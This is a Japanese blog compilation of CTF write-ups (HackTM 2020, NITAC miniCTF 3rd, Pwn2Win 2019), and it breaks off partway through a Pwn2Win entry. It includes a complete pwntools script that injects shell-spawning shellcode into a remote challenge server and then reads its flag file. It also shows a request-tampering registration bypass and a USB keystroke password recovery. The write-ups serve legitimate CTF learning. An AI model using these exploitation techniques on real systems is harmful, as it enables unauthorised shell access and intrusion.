[+] Opening connection to 138.68.67.161 on port 60005: Done
[*] get_n: 18281887655641124885261826127400013895934350002546878242817029330833820859931623691117255168713635493624084952573804355195527071599182410750402620804471250989090533765187676387281440928222042918457825183980202555532465787842705001561929658798371910629712031647310190316819110442914129507961084215156920556587
[*] Closed connection to 138.68.67.161 port 60005
[+] Opening connection to 138.68.67.161 on port 60005: Done
[*] get_n: 78465080994718747950131323692763733829227186616316601557852832392150274425031253507870952138651230136827085230153382778047193202136027740842197749297431682842237493175100181329682260917174473797079498092035879035105108422444616250407199811384568015163220590309826790762984967156211681166631507219900815454507
[*] Closed connection to 138.68.67.161 port 60005
[*] n1: 18281887655641124885261826127400013895934350002546878242817029330833820859931623691117255168713635493624084952573804355195527071599182410750402620804471250989090533765187676387281440928222042918457825183980202555532465787842705001561929658798371910629712031647310190316819110442914129507961084215156920556587
[*] n2: 78465080994718747950131323692763733829227186616316601557852832392150274425031253507870952138651230136827085230153382778047193202136027740842197749297431682842237493175100181329682260917174473797079498092035879035105108422444616250407199811384568015163220590309826790762984967156211681166631507219900815454507
[*] currnt_p: 12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129863163
[*] e: 65537
[*] n: 2318553827267041599931064141028026591078453523755133761420994537426231546233197332557815088229590256567177621743082082713100922775483908922217521567861530205737139513575691852244362271068595653732088709994411183164926098663772268120044065766077197167667585331637038825079142327613226776540743407081106744519
[*] p: 12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580128178823
[*] q: 191335851945837067856377662680848400296318974773300853031596930993909166558084000989878627579396244459141148723017644937657511582545081598962216442940353
[*] d: 2043314668072425068087011483488040829163956851420194098881431580605258944043681864237632574742152439821024427407650515758435235008371212103399871724292806951168923522722704683003512030221232905519279116289520649589591362133740351349387154813919618825576125226745251858019443068382321303211961987200618339457
[*] c: 2255296633936604604490193777189642999170921517383872458719910324954614900683697288325565056935796303372973284169167013060432104141786712034296127844869460366430567132977266285093487512605926172985342614713659881511775812329365735530831957367531121557358020217773884517112603921006673150910870383826703797655
[*] m: HackTM{SanTa_ple@s3_TakE_mE_0ff_yOur_l1st_4f2d20ec18}

FLAG

HackTM{SanTa_ple@s3_TakE_mE_0ff_yOur_l1st_4f2d20ec18}

Strange PCAP（forensics）

問題

We managed to get all the data to incriminate our CEO for selling company secrets. Can you please help us and give us the secret data that he has leaked?

Author: Legacy

添付ファイル

• Strange.pcapng

解答例

pcapファイルなので、とりあえずWiresharkで開いてみました。どうやらUSBのキャプチャデータのようです。

これだけだとよく分からないので、stringsコマンドを打ってみました。 Flag.txtやSECRET ZIPのような文字列が見えました。

$ strings Strange.pcapng | sort | uniq
.
..
$<(8
        0       1
19{j:
1JQk
3f;F
;5'l:
62:i:
64-bit Windows 10 (1909), build 18363
,6'l(
93:i(
A$_h
A$_h.
A$_h$
A$_hg
AADREC~1
a*k#
An operating system wasn't found. Try disconnecting any drives that don't
a..PK
BIST
/b*k
(!Bl!
*Bl!
BOOTMGR
B)Ul
C!Bl
C}k#
CLIENT~1
contain an operating system.
DISK
Disk error
DUMj
Dumpcap (Wireshark) 3.2.0 (v3.2.0-0-ge0ed4cfa3d72)
eF&h
Error loading operating system
f@Iu
Flag.txt
fSfSfUfh
fXfXfXfX
Fz#k(
 g[&
Generic Flash Disk      8.07
)g( RNO NAME    FAT32   3
I{dk#
INDEXE~1
Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz (with SSE4.2)
Invalid partition table
IQk:
itNk
:{j(
jdl:
jkei:
,JQk
{JQk(
`jX%
}kdl
kdl(
m!Bl(
Missing operating system
MSDOS5.0
nC}k
nei(
P%D#
[pLk#
Press any key to restart
r,fh
rrAa
RRaA
Rwi:
s{a},+
SECRET  ZIP
~sk#
s"Pe
s"P"P
[Swi
`Swi
Swi(
SYSTEM~1
TCPAu2
t&fh
TMj:
tNk#
t"P"P
(Ul:
<)Ul
?UMj
UMj(
USBC
USBC@:
USBC`
USBC`7
USBC`jX%
USBCP
USBCP%D#
USBS
USBS@:
USBS`
USBS`7
USBS`jX%
USBSP
USBSP%D#
u)Ul(
 W[$
wireshark_extcap1920
WPSETT~1DAT
xkdl
y~Ii:
=y#k:
YUY2

何かファイルがありそうなので、foremostコマンドで抽出させてみます。zipファイルを抽出することができました。

$ foremost Strange.pcapng
Processing: Strange.pcapng
|foundat=Flag.txt
9ZZA#!kU ˜bidSȎ84)J
s{a},+\IiBHia..PK?
*|

zipを展開しようとすると、パスワードが聞かれてしまいました。次はパスワードを特定する必要があります。

$ unzip output/zip/00015665.zip
Archive:  output/zip/00015665.zip
[output/zip/00015665.zip] Flag.txt password:

USBのpcapについて調べていると、以下のページを見つけました。

ctf-wiki.github.io

上記のページを見てみると、キーボード入力について書かれていました。キー入力からパスワードを特定することができるかもしれません。 以下のツールが紹介されていたので、使ってみました。

github.com

実行してみましたが、うまく出力されません。いくつかバグを見つけたので、以下のように修正しました。

github.com

実行すると、以下のような文字列が出力されました。

$ python UsbKeyboardDataHacker.py Strange.pcapng 
[+] Found : 7vgj4SSL9NHVuK0D6d3F<RET>

上記の文字列（を除く）をzipのパスワードとして入力すると、展開することができました。 中にあったFlag.txtを開くと、フラグが書かれていました。

FLAG

HackTM{88f1005c6b308c2713993af1218d8ad2ffaf3eb927a3f73dad3654dc1d00d4ae}

Romanian Gibberish（misc）

問題

https://en.wikipedia.org/wiki/Gibberish_(language_game)
HapackTM{Wepelcopomepe_Topo_HAPACKTMCTF_2020!}

解答例

Gibberish (language_game) に関するWikipediaのページとフラグっぽい文字列が渡されました。 まずは、Gibberishについて調べてみました。Gibberishは、赤ちゃん言葉など、理解しにくい無意味な言語の総称だそうです。

問題のタイトルは、Romanian Gibberishとなっています。Wikipediaによると、ルーマニア語のGibberishには、pa、pe、poのような音（bird talk）が入る場合があるそうです。 HapackTM{Wepelcopomepe_Topo_HAPACKTMCTF_2020!} からpa、pe、poを取り除くと、フラグとなっていました。

FLAG

HackTM{Welcome_To_HACKTMCTF_2020!}

The dragon sleeps at night（misc）

問題

I made this console based dragon RPG.
Go kill the beast!

nc 138.68.67.161 60004

Author: stackola

解答例

とりあえず、netcatで接続してみると、以下の出力が返ってきました。 コンソールベースのドラゴンRPGだそうです。ドラゴンを倒すことが目標のようです。

$ nc 138.68.67.161 60004
Welcome to our little town!
We're glad you've decided to help us fight the dragon and bring back this town to it's old glory.

We have a shop where you can buy many different weapons for your fight!
There's also a mine for you to work at. The boss is a very trusting guy, don't try to scam him please.

-------------------------------
-------------------------------
Day: 0
Time: 00:00
Your balance: $0
-------------------------------
1: Go to store
2: Go to work
3: Go to dragons cave
4: Go home
5: Storage
> 

まずは、storeに行ってみました。storeには、Level 1~5の剣が売っています。 どうにかしてお金を稼ぎ、Level 5の剣を買うことを目標にしてみます。

-------------------------------
Day: 0
Time: 00:00
Your balance: $0
-------------------------------
1: Go to store
2: Go to work
3: Go to dragons cave
4: Go home
5: Storage
> 1
-------------------------------
Welcome to the store:
-------------------------------
Level 1 Sword: 10 Damage
Price: $10
-------------------------------
Level 2 Sword: 100 Damage
Price: $100
-------------------------------
Level 3 Sword: 1,000 Damage
Price: $1,000
-------------------------------
Level 4 Sword: 10,000 Damage
Price: $1,000,000
-------------------------------
Level 5 Sword: 100,000 Damage
Price: $1,000,000,000
-------------------------------
What do you want? (1-5 or e for exit) >1
Not enough money.

次にお金を稼ぐため、働きに出てみました。働いた後、ボスから何時間働いたかを聞かれました。 適当に100と答えると、$100もらえました。100時間働いたことになっているのに、6時間しか進んでいません。 働いた時間の報告は、適当でもいいようです。

-------------------------------
Day: 0
Time: 06:00
Your balance: $0
-------------------------------
1: Go to store
2: Go to work
3: Go to dragons cave
4: Go home
5: Storage
> 2
-------------------------------
Going to work...
Time passes...
Slowly...
-------------------------------
Boss wants to know how many hours you worked: > 100
100.0 hours at $1/hour? That's $100.0.
$100.0 received.
-------------------------------
Day: 0
Time: 12:00
Your balance: $100.0
-------------------------------

今度は、1000000000と答えてみましたが、どうやら3文字しか入力できないようです。

Boss wants to know how many hours you worked: > 1000000000
Only 3 characters allowed

また、-1 と答えると、しっかりと-1ドル引かれてしまいました。 整数オーバーフローとかでもなさそう。

Boss wants to know how many hours you worked: > -1
-1.0 hours at $1/hour? That's $-1.0.
$-1.0 received.
-------------------------------
A day passes.
-------------------------------
-------------------------------
Day: 1
Time: 00:00
Your balance: $99.0

この後、色々入力してみましたが、よく分からず、一旦あきらめて、HackTM CTF の Discordを眺めていると、以下のようなチャットを見つけました。 どうやらこのプログラムは、Pythonで動いているようです。

100.0 のように返ってくることから、入力した文字列をfloatで変換していると予想し、以下のようなスクリプトを作成して検証してみました。 ランダムな3文字を生成し、floatで数値に変換し、999より大きい値になるパターンを探しました。

import random
import string

def fuzz(n):
   rand_list = [random.choice(string.printable) for i in range(n)]
   return ''.join(rand_list)

def main():
    while True:
        s = fuzz(3)
        try:
            f = float(s)
        except ValueError:
            continue

        if f > 999.0:
            print("{}: {}".format(s, f))
            break

if __name__ == "__main__":
    main()

実行してみると、以下のような結果が返ってきました。 9e7やinfのような入力ができるようです。

$ python fuzz.py
9e7: 90000000.0
$ python fuzz.py
inf: inf

働いた後、9e9と入力してみると、$9000000000.0をもらうことができました。

Boss wants to know how many hours you worked: > 9e9
9000000000.0 hours at $1/hour? That's $9000000000.0.
$9000000000.0 received.
-------------------------------
Day: 0
Time: 06:00
Your balance: $9000000000.0

お金がたまったので、storeに行ってLevel 5 の剣を買い、ドラゴンと戦ってみました。 どうやらドラゴンが起きているとダメなようです。

-------------------------------
Welcome to the store:
-------------------------------
Level 1 Sword: 10 Damage
Price: $10
-------------------------------
Level 2 Sword: 100 Damage
Price: $100
-------------------------------
Level 3 Sword: 1,000 Damage
Price: $1,000
-------------------------------
Level 4 Sword: 10,000 Damage
Price: $1,000,000
-------------------------------
Level 5 Sword: 100,000 Damage
Price: $1,000,000,000
-------------------------------
What do you want? (1-5 or e for exit) > 5
Received Sword level 5.
-------------------------------
Day: 0
Time: 12:00
Your balance: $8000000000.0
Your sword: 5
-------------------------------
1: Go to store
2: Go to work
3: Go to dragons cave
4: Go home
5: Storage
> 3
-------------------------------
Welcome to the dragon's cave
-------------------------------
The dragon is awake.
He sees you first and instantly kills you with a large fireball.
Game over

次は、適当に時間をつぶして、深夜にドラゴンと戦ってみました。

-------------------------------
Day: 1
Time: 00:00
Your balance: $8000000000.0
Your sword: 5
-------------------------------
1: Go to store
2: Go to work
3: Go to dragons cave
4: Go home
5: Storage
> 3
-------------------------------
Welcome to the dragon's cave
-------------------------------
You see the dragon sleeping next to a pile of bodies.
They look disturbingly fresh.
Carrying your glorious level 5 sword, you slowly walk over.
Carefully, you position the mighty weapon exactly over his skull.
BOOM! Perfect hit!
The dragon wakes up! He's not dead?
I was told level 5 would be enough!
'if only there was a level 6 sword' are your last thoughts...
...as the dragon obliterates you with a hurricane of fire.

寝ているドラゴンに不意打ちができたようですが、Level 5では火力が足りないようです。 どうやら、Level 6の剣を装備する必要があるようです。

今度は、Storageを試してみます。 Storageに預け、1日経つとLevelが1つ下がってしまうようです。

-------------------------------
Storage for up to (1) sword.
Please note: Swords degrade by 1 level for each day they are left in storage.
-------------------------------
Storage is empty.
Do you want to deposit your sword? (y/n) > y
Deposited sword level 5
-------------------------------

また、Go homeを選択すると、1日休むことができるようです。 -1 と入力すると、前日に戻ることができました。Storageに預けていた剣もLevel 6に上がっていました。 これでドラゴンを倒せそうです。

Your home.
Here you can take a rest.
How many days do you want to rest for? > -1
Sleeping for -1 days
A sword in storage has degraded from 5 to 6.
You woke up well rested.

最終的な入力は、以下の通りです。ドラゴンを倒すとフラグを取得することができました。

Welcome to our little town!
We're glad you've decided to help us fight the dragon and bring back this town to it's old glory.

We have a shop where you can buy many different weapons for your fight!
There's also a mine for you to work at. The boss is a very trusting guy, don't try to scam him please.

-------------------------------
-------------------------------
Day: 0
Time: 00:00
Your balance: $0
-------------------------------
1: Go to store
2: Go to work
3: Go to dragons cave
4: Go home
5: Storage
> 2
-------------------------------
Going to work...
Time passes...
Slowly...
-------------------------------
Boss wants to know how many hours you worked: > 9e9
9000000000.0 hours at $1/hour? That's $9000000000.0.
$9000000000.0 received.
-------------------------------
Day: 0
Time: 06:00
Your balance: $9000000000.0
-------------------------------
1: Go to store
2: Go to work
3: Go to dragons cave
4: Go home
5: Storage
> 1
-------------------------------
Welcome to the store:
-------------------------------
Level 1 Sword: 10 Damage
Price: $10
-------------------------------
Level 2 Sword: 100 Damage
Price: $100
-------------------------------
Level 3 Sword: 1,000 Damage
Price: $1,000
-------------------------------
Level 4 Sword: 10,000 Damage
Price: $1,000,000
-------------------------------
Level 5 Sword: 100,000 Damage
Price: $1,000,000,000
-------------------------------
What do you want? (1-5 or e for exit) > 5
Received Sword level 5.
-------------------------------
Day: 0
Time: 12:00
Your balance: $8000000000.0
Your sword: 5
-------------------------------
1: Go to store
2: Go to work
3: Go to dragons cave
4: Go home
5: Storage
> 5
-------------------------------
Storage for up to (1) sword.
Please note: Swords degrade by 1 level for each day they are left in storage.
-------------------------------
Storage is empty.
Do you want to deposit your sword? (y/n) > y
Deposited sword level 5
-------------------------------
Day: 0
Time: 18:00
Your balance: $8000000000.0
-------------------------------
1: Go to store
2: Go to work
3: Go to dragons cave
4: Go home
5: Storage
> 4 
Your home.
Here you can take a rest.
How many days do you want to rest for? > -1
Sleeping for -1 days
A sword in storage has degraded from 5 to 6.
You woke up well rested.
-------------------------------
Day: -1
Time: 06:00
Your balance: $8000000000.0
-------------------------------
1: Go to store
2: Go to work
3: Go to dragons cave
4: Go home
5: Storage
> 5
-------------------------------
Storage for up to (1) sword.
Please note: Swords degrade by 1 level for each day they are left in storage.
-------------------------------
Storage contains a sword level 6
Do you want to take the sword out? (y/n) > y
Receiving level 6 sword.
-------------------------------
Day: -1
Time: 12:00
Your balance: $8000000000.0
Your sword: 6
-------------------------------
1: Go to store
2: Go to work
3: Go to dragons cave
4: Go home
5: Storage
> 5
-------------------------------
Storage for up to (1) sword.
Please note: Swords degrade by 1 level for each day they are left in storage.
-------------------------------
Storage is empty.
Do you want to deposit your sword? (y/n) > n
-------------------------------
Day: -1
Time: 18:00
Your balance: $8000000000.0
Your sword: 6
-------------------------------
1: Go to store
2: Go to work
3: Go to dragons cave
4: Go home
5: Storage
> 5
-------------------------------
Storage for up to (1) sword.
Please note: Swords degrade by 1 level for each day they are left in storage.
-------------------------------
Storage is empty.
Do you want to deposit your sword? (y/n) > n
-------------------------------
A day passes.
-------------------------------
-------------------------------
Day: 0
Time: 00:00
Your balance: $8000000000.0
Your sword: 6
-------------------------------
1: Go to store
2: Go to work
3: Go to dragons cave
4: Go home
5: Storage
> 3
-------------------------------
Welcome to the dragon's cave
-------------------------------
You see the dragon sleeping next to a pile of bodies.
They look disturbingly fresh.
Carrying your level 6 sword, you walk over to the dragon
You're still dizzy from the time travelling
About half way towards the dragon, the blade starts vibrating
As if by magic, it's pulled out of your hands, and towards the dragon
As it reaches approximately Mach 2 right before impact, you take cover behind a cliff

The impact can only be compared to a small bomb. The entire cave shakes not unlike during an earthquake.
As you look up from you cover, you see the level 6 sword floating in place, just where the dragon used to be.
You walk up to the sword and inspect it closely.

On the blade you can see a faint inscription. You are pretty sure this wasn't here before:

HackTM{g3t_m0re_sl33p_and_dr1nk_m0re_water}

FLAG

HackTM{g3t_m0re_sl33p_and_dr1nk_m0re_water}

NITAC miniCTF 3rd Writeup

NITAC miniCTF 3rd について

NITAC miniCTF 3rd が開催されました。
2020年01月26日午後1時30分～2020年01月26日午後5時30分（4時間）

nitaclt.connpass.com

明石高専IT系勉強会が主催のminiCTF大会が開催されました。難易度はそこまで高くありませんでしたが、時間が短く、思うように解けませんでした。 今回もチームで参加し、メンバが1問解いてくれました。 結果は、13/32位で、851点でした。 8問解くことができたので、そのWriteupを紹介します。

NITAC miniCTF 3rd Writeup（8問）

Welcome（Sample）

問題

NITAC miniCTFへようこそ！以下の欄に NITAC{sup3r_dup3r_sc0re_serv3r} と入力して、FLAGが提出できることを確認してください。 Discordサーバへの参加もお忘れなく！: https://discord.gg/npD6Q9k

解答例

チュートリアル問題、問題文にFLAGが書かれていました。

FLAG

NITAC{sup3r_dup3r_sc0re_serv3r}

shellcode（Binary）

問題

バイト列を入力すると実行してくれます。
このプログラムが動作しているディレクトリにFLAGの書かれたファイルが置いてあるので、それを読んでください。
nc shellcode.ctf.jyoken.net 80

添付ファイル

• shellcode

解答例

まずは、fileコマンドとchecksecコマンドを実行してみました。 64bitにELFファイルで、セキュリティ機構もほとんどが有効になっているようです。

$ file shellcode 
shellcode: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, BuildID[sha1]=3658bbbb3a87143505daa8ebe8bc00220aa93cc1, not stripped
$ checksec shellcode 
[*] '/root/workdir/pwn_shellcode/shellcode'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled

次に実行してみました。実行すると、「I will execute your code instead of you. Give me machine code bytes: 」と表示されました。 適当に入力してみると、「Executing...」と表示され、異常終了しました。

$ ./shellcode 
I will execute your code instead of you. Give me machine code bytes: a
Executing...
Illegal instruction (core dumped)

どうやら、入力したシェルコードをそのまま実行してくれるようです。 一応、Ghidraでデコンパイルしてみました。

14行目で入力したシェルコードを実行している処理が確認できます。 後は、シェルコードを作成して入力するだけでできそうです。 今回は、pwntoolsのshellcraftでシェルコードを作成しました。以下、そのスクリプトになります。

#!/usr/bin/env python3
from pwn import *

ARCH = "amd64"
FILE = "./shellcode"
LIBC = ""
HOST = "shellcode.ctf.jyoken.net"
PORT = 80

GDB_SCRIPT = """
    break main
    continue
"""

def exploit(io, elf, libc, rop):
    payload = asm(shellcraft.sh())
    log.info("payload: {}".format(payload))
    io.sendlineafter("I will execute your code instead of you. Give me machine code bytes: ", payload)

def main():
    context(arch=ARCH, os="linux", terminal=["/bin/sh"])

    if args["REMOTE"]:
        io = remote(HOST, PORT)
    else:
        io = process([FILE])
        if args["GDB"]:
            pid = proc.pid_by_name(os.path.basename(FILE))
            gdb.attach(pid[0], GDB_SCRIPT)

    elf = ELF(FILE)
    libc = None
    if LIBC != "":
        libc = ELF(LIBC)
    rop = ROP(elf)
    exploit(io, elf, libc, rop)
    io.interactive()

if __name__ == "__main__":
    main()

実行すると、シェルを取ることができました。catコマンドでflag.txtを読み出すとフラグが表示されました。

$ python exploit.py REMOTE
[+] Opening connection to shellcode.ctf.jyoken.net on port 80: Done
[*] '/root/workdir/pwn_shellcode/shellcode'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
[*] Loaded cached gadgets for './shellcode'
[*] payload: b'jhH\xb8/bin///sPj;XH\x89\xe71\xf6\x99\x0f\x05'
[*] Switching to interactive mode
$ id
uid=999(pwn) gid=999(pwn) groups=999(pwn)
$ ls
flag.txt
redir.sh
shellcode
$ cat flag.txt
NITAC{I_g4ve_up_cr0ss_comp1ling}

FLAG

NITAC{I_g4ve_up_cr0ss_comp1ling}

wrong copy（Binary）

問題

「重要なものはコピーしてバックアップしないとね！
objcopy --remove-section=.data --remove-section=.bss ./program」

添付ファイル

• program

解答例

まずは、fileコマンドとchecksecコマンドを実行してみました。 64bitにELFファイルで、セキュリティ機構もほとんどが有効になっているようです。

$ file program 
program: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=007c9b3494e08ccacaf16692de872fe3b817ae26, for GNU/Linux 3.2.0, not stripped
$ checksec program 
[*] '/root/workdir/program/program'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

次に実行してみましたが、すぐにセグメンテーション違反で異常終了してしまいました。

$ ./program 
Segmentation fault (core dumped)

よく分からないので、とりあえずGhidraでデコンパイルしてみます。

putsでlocal_58を表示するだけのプログラムになっていました。 怪しい変数を文字列に変換していくと、フラグになっていました。

FLAG

NITAC{c0py_15_d1ff1cul7}

base64（Crypto）

問題

これ、、読めますよね。。。

添付ファイル

• encoded.txt

解答例

Base64デコードするだけ

$ echo "TklUQUN7RE9fWU9VX0tOT1dfQkFTRTY0P30K" | base64 -d
NITAC{DO_YOU_KNOW_BASE64?}

FLAG

NITAC{DO_YOU_KNOW_BASE64?}

flower（Forensics）

問題

学校にある絵にこんな秘密が隠されていたなんてーーー

添付ファイル

• encrypt.py
• flower.png
• enc_flower.png

解答例

encrypt.pyを確認すると、以下のようになっていました。フラグ文字列をバイナリ変換し、画像のRGBの下位1ビットに書き込んでいるようです。

import cv2
import numpy as np

img = cv2.imread('flower.png')

flag = ''.join([bin(ord(x))[2:].zfill(8) for x in list(input("input flag: "))])
flag += '0' * (img.shape[0] * img.shape[1] * img.shape[2] - len(flag))

print(flag)
print(len(flag))

enc_img = []

cnt = 0

for i in img:
    img_line = []
    for j in i:
        r, g, b = [[y for y in list(bin(x)[2:])] for x in j]
        r[-1] = flag[cnt]
        g[-1] = flag[cnt + 1]
        b[-1] = flag[cnt + 2]
        cnt += 3
        img_line.append([int(x, 2) for x in [''.join(r), ''.join(g), ''.join(b)]])
    enc_img.append(img_line)
cv2.imwrite('enc_flower.png', np.array(enc_img))

上記のスクリプトを参考にRGBの下位1ビットを出力させるようなスクリプトを作成しました。

import cv2
import numpy as np

img = cv2.imread('enc_flower.png')

cnt = 0

for i in img:
    for j in i:
        r, g, b = [[y for y in list(bin(x)[2:])] for x in j]
        print(r[-1], end="")
        print(g[-1], end="")
        print(b[-1], end="")
        cnt += 3

実行してみると、以下のようになります。

$ python decrypt.py > result.txt
$ head -c 200 result.txt 
01001110010010010101010001000001010000110111101101001100010100110100001001011111011001100111010101101100011011000101111101110011011001010110000101110010011000110110100001111101000000000000000000000000

CyberChefでバイナリを文字列に変換すると、フラグが出てきました。

FLAG

NITAC{LSB_full_search}

spam（Misc）

問題

好きにして、好きにして、煮るなり焼くなり好きにして

添付ファイル

• spam.txt

解答例

spam.txtを開くと、以下のようになっていました。.や! が行頭にあり、普通の英文にしては違和感があります。

Dear Friend , This letter was specially selected to
be sent to you . This is a one time mailing there is
no need to request removal if you won't want any more
. This mail is being sent in compliance with Senate
bill 1624 ; Title 3 , Section 303 ! THIS IS NOT A GET
RICH SCHEME ! Why work for somebody else when you can
become rich within 69 MONTHS ! Have you ever noticed
people will do almost anything to avoid mailing their
bills & nobody is getting any younger ! Well, now is
your chance to capitalize on this ! WE will help YOU
SELL MORE & use credit cards on your website . You
are guaranteed to succeed because we take all the risk
! But don't believe us . Mrs Anderson of Georgia tried
us and says "My only problem now is where to park all
my cars" ! We are a BBB member in good standing . If
not for you then for your loved ones - act now . Sign
up a friend and your friend will be rich too . Best
regards . Dear Salaryman ; Your email address has been
submitted to us indicating your interest in our publication
. This is a one time mailing there is no need to request
removal if you won't want any more . This mail is being
sent in compliance with Senate bill 1916 ; Title 1
, Section 302 ! This is not a get rich scheme . Why
work for somebody else when you can become rich as
few as 63 WEEKS . Have you ever noticed nearly every
commercial on television has a .com on in it & nearly
every commercial on television has a .com on in it
. Well, now is your chance to capitalize on this .
WE will help YOU SELL MORE and process your orders
within seconds . You can begin at absolutely no cost
to you . But don't believe us . Ms Anderson who resides
in Oklahoma tried us and says "My only problem now
is where to park all my cars" . We are licensed to
operate in all states ! Because the Internet operates
on "Internet time" you must act now . Sign up a friend
and you get half off ! Thanks .

とりあえず、1行目の Dear Friend , This letter was specially selected to でいろいろ調べていると、spam mimic というページを発見しました。

www.spammimic.com

このページでデコードしてみると、フラグが出てきました。

FLAG

NITAC{it's_like_a_spam}

Teacher's Server（NetWork）

問題

先生たちの共有サーバのパケットログが流出した。base32で符号化されたFLAGを探し出せ。

添付ファイル

• Network1.pcapng

解答例

pcapファイルなのでWiresharkで開いてみました。

Base32エンコードされていそうな文字列があるので、デコードしてみるとフラグとなっていました。

FLAG

NITAC{ISAO_IS_MATHEMATICIAN}

Admin Portal 1（Web）

問題

工事中のサイトなので新規登録できません……
http://portal.ctf.jyoken.net/

添付ファイル

• adminportal.tar.gz

解答例

adminportal.tar.gzと展開し、login.phpを見てみると、以下のようになっていました。register.php がコメントアウトされているのが確認できます。 これを利用すれば、アカウントを自由に作成できそうです。

<?php
require_once 'util.php';

session_start();

if (isset($_POST['username']) && isset($_POST['password'])) {
    login((string)$_POST['username'], (string)$_POST['password']);
    $error = 'Wrong username or password';
}

if (isset($_GET['msg'])) $msg = htmlspecialchars($_GET['msg']);
if (isset($_GET['error'])) $error = htmlspecialchars($_GET['error']);

if (is_logged_in()) {
    header("Location: /");
    exit(0);
}
?>
<!DOCTYPE html>
<html>
    <head>
        <title>Login</title>
        <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
        <script src="https://code.jquery.com/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script>
        <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
    </head>
    <body>
        <main role="main" class="container">
            <?php if (!empty($error)) { ?>
                <div class="alert alert-warning alert-dismissible fade show" rule="alert">
                    <strong>Error!</strong> <?php echo $error; ?>
                    <button type="button" class="close" data-dismiss="alert" aria-label="close"><span aria-hidden="true">&times;</span></button>
                </div>
            <?php } ?>
            <?php if (!empty($msg)) { ?>
                <div class="alert alert-primary alert-dismissible fade show" rule="alert">
                    <strong>Error!</strong> <?php echo $msg; ?>
                    <button type="button" class="close" data-dismiss="alert" aria-label="close"><span aria-hidden="true">&times;</span></button>
                </div>
            <?php } ?>
            
            <h1 class="m-3">Login</h1>
            <form method="POST">
                <div class="form-group">
                    <label for="u">Username: </label>
                    <input type="text" name="username" id="u">
                </div>
                <div class="form-group">
                    <label for="p">Password: </label>
                    <input type="password" name="password" id="p">
                </div>
                <input type="submit" class="btn btn-primary" value="Login" formaction="/login.php">
                <!--
                <input type="submit" class="btn btn-success" value="Register" formaction="/register.php">
                -->
            </form>
        </main>
    </body>
</html>

まず、Fiddler4のBefore Requestsでブレークするように設定します。 次に、http://portal.ctf.jyoken.net/login.phpにアクセスし、UsernameとPasswordを入力して、Loginボタンを押します。 Fiddler4で止めた後、login.phpをregister.phpに書き換えて実行させると、アカウントを作成することができました。

ログインすると、フッターにフラグが書かれていました。

FLAG

NITAC{00f_r3g1str4t10n_st1ll_w0rks}

Pwn2Win CTF 2019 Writeup

Pwn2Win CTF 2019 について

Pwn2Win CTF 2019 が開催されました。
2019年11月09日午前1時37分～2019年11月11日午前1時37分（48時間）

https://pwn2.win/2019/#/ github.com

これまでに参加したCTFの中で一番難しかったです。 ボーナス問題を除き、今回解いたFull tROllが一番簡単な問題だったようです。 そもそも、チーム登録やフラグを入力するための準備だけでも結構大変でした。 今回もチームで参加しました。チームメンバが1問解いてくれました。 結果は、56/220位で、349点でした。 私も2問解くことができたので、そのWriteupを紹介します。

Pwn2Win CTF 2019 Writeup（2問）

g00d b0y（Bonus）

問題

Now prove you were a good kid and show you learned the most basic lesson in CTFs!!

解答例

pwn2win CTF 2019のルールページ（https://pwn2win.party/rules）のフッターを見ると、以下のように書かれていました。フラグも書かれています。

For the first time, these tiny letters on the bottom of the screen are not a prank. \o/ if you got to this point, means that you probably read all our informations and instructions. And for that, we will award your team with extra points in the competition, after all, reading is FUNDAMENTAL for a competition like this. Use the flag "CTF-BR{RTFM_1s_4_g00d_3xpr3ss10n_v5.0}" on the challenge "Bonus" during the day of the event and guarantee your extra score! ;)

FLAG

CTF-BR{RTFM_1s_4_g00d_3xpr3ss10n_v5.0}

Full tROll（Exploitation）

問題

We've found a HARPA system that seems impenetrable. Help us to pwn it to get its secrets!
Server: 200.136.252.31 2222
Server backup: 167.71.169.196 2222

添付ファイル

• full_troll_1700da176669cce25d20212febf45903e873ca3be6036401077a79f79e2ebf35.tar.gz

解答例

まずは、fileコマンドとchecksecコマンドを実行してみました。 64bitにELFファイルで、セキュリティ機構もほとんどが有効になっているようです。

$ file full_troll
full_troll: ELF 64-bit LSB  shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 3.2.0, BuildID[sha1]=0b0ba0027249cce48d46931213c496e675a74b4d, stripped
$ checksec full_troll
[*] '/root/workdir/full_troll/full_troll'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

次に実行してみました。実行すると、パスワード入力を求められます。

$ ./full_troll
Welcome my friend. Tell me your password.
a
Not even close!

Welcome my friend. Tell me your password.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Incorrect!

Welcome my friend. Tell me your password.

パスワードが分からないので、Ghidraでデコンパイルして確認してみます。 色々見ていると、パスワードをチェックしている関数がありました。

